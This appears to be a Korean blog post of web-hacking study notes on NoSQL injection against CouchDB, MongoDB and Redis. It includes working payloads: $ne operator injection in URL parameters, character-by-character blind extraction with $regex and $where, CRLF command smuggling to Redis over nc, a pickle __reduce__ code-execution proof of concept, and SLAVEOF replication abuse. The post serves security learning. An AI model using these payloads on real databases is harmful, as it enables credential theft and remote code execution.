NoSQL은 Not Only SQL로 데이터베이스와 관련된 작업을 할 때 SQL을 사용하지 않아도 된다.
관계형 데이터베이스(RDBMS)와 달리 복잡하지 않은 데이터를 관리한다.
<CouchDB>
CouchDB는 키와 값이 하나의 쌍을 이루는 데이터를 저장하고 JSON 객체 형태인 도큐먼트를 저장한다.
HTTP 기반의 서버로 동작하며 REST API 형식으로 HTTP 메소드를 사용해 요청을 받고 처리한다.
CouchDB의 특수 구성 요소이다.
NodeJS에서 CouchDB를 사용할 때에는 nano 패키지를 사용한다.
nano 패키지의 get 함수는 전달된 인자에 대해 앞서 배운 특수 구성 요소의 포함 여부를 검사하지 않기 때문에 공격자는 특성 구성 요소를 통해 데이터베이스의 정보를 획득할 수 있다.
> require('nano')('http://{username}:{password}@localhost:5984').use('users').get('_all_docs', function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
err: null ,result: { total_rows: 3,
offset: 0,
rows:
[ { id: '0c1371b65480420e678d00c2770003f3',
key: '0c1371b65480420e678d00c2770003f3',
value: [Object] },
{ id: '0c1371b65480420e678d00c277001712',
key: '0c1371b65480420e678d00c277001712',
value: [Object] },
{ id: 'guest', key: 'guest', value: [Object] } ] }
*/
이렇게 _all_docs에 접근할 수 있다,
find 함수에서 연산자를 통해 데이터베이스의 정보를 획득할 수 있다.
> require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'admin', 'upw': {'$ne': ''}}}, function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
undefined
err: null ,result: { docs:
[ { _id: 'admin',
_rev: '2-142ddb6e06fd298e86fa54f9b3b9d7f2',
upw: 'secretpassword' } ],
bookmark:
'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzJqbkZuaBJDlgkgjhLADVNBDR',
warning:
'No matching index found, create an index to optimize query time.' }
*/
<MongoDB>
MongoDB는 스키마가 존재하지 않고, JSON 형식으로 쿼리문을 작성할 수 있다.
_id가 기본키 역할을 한다.
db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )
MongoDB의 쿼리문 예시이다. $를 이용해 연산자를 사용할 수 있다.
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
연산자를 이용해 이런식으로 공격을 할 수도 있다.
uid가 a가 아니고, upw가 a가 아닌 값을 조회한다.
MongoDB에서 Blind Injection을 하기 위해서 $regex와 $where를 사용할 수 있다.
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
^는 정규식에서 첫 문자열을 의미한다.
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
where를 사용하면 이렇게 한글자씩 substring으로 비교해가면서 참, 거짓 결과로 찾아나갈 수 있다.
<Redis>
Redis의 명령어이다.
Redis에서 배열 타입으로 값을 입력할 경우 개발자가 의도한 값이 적용되지 않고, 임의로 입력한 값이 삽입된다.
http://localhost:3000/init?uid[]=test&uid[]={"level":"admin"}
이런 식으로 보내면
Command("set", "test", '{"level":"admin"}')
이렇게 실행된다.
Redis는 인증 수단이 없기 때문에 인증 없이 명령어를 실행할 수 있다.
유효하지 않은 명령어가 입력돼도 에러가 발생하고 다음 명령어가 실행한다.
$ echo -e "anydata: anydata\r\nget hello" | nc 127.0.0.1 6379
-ERR unknown command 'anydata:'
$5
world
django-redis-cache는 Django에서 Redis를 사용한 캐시 (Cache)를 구현할 수 있는 파이썬 모듈이다.
Redis에 임의의 데이터를 저장하고, 해당 데이터를 Deserialize 할 수 있다면 Pickle 모듈을 이용해 공격을 수행할 수 있다.
object.__reduce__()는 객체 계층 구조를 unpickling 할 때 객체를 재구성하는 튜플을 반환해주는 메소드로, 호출 가능한 객체를 반환할 수 있다.
호출 가능한 객체에 system과 같이 명령어를 실행할 수 있는 함수를 반환하면 시스템 명령어를 실행할 수 있다.
import pickle
import os
class TestClass:
def __reduce__(self):
return os.system, ("id", )
ClassA = TestClass()
# ClassA 직렬화
ClassA_dump = pickle.dumps(ClassA)
print(ClassA_dump)
# 역직렬화
pickle.loads(ClassA_dump)
역직렬화를 하면서 id 명령어가 실행된다.
SLAVEOF host port
SLAVEOF No one
REPLICAOF host port
REPLICAOF No one
다른 Redis의 노드를 현재 명령어를 실행하는 노드의 마스터 노드로 지정할 수 있다.
지정한 노드와 연결을 맺으면, 마스터 노드의 데이터를 복제하고 저장한다.
'웹해킹' 카테고리의 다른 글
드림핵 phpMyRedis 롸업 (0) | 2023.12.03 |
---|---|
드림핵 NoSQL-CouchDB 롸업 (0) | 2023.12.03 |
드림핵 sql injection bypass WAF Advanced 롸업 (0) | 2023.12.03 |
드림핵 sql injection bypass WAF 롸업 (0) | 2023.12.03 |
SQL Injection-2 (0) | 2023.12.02 |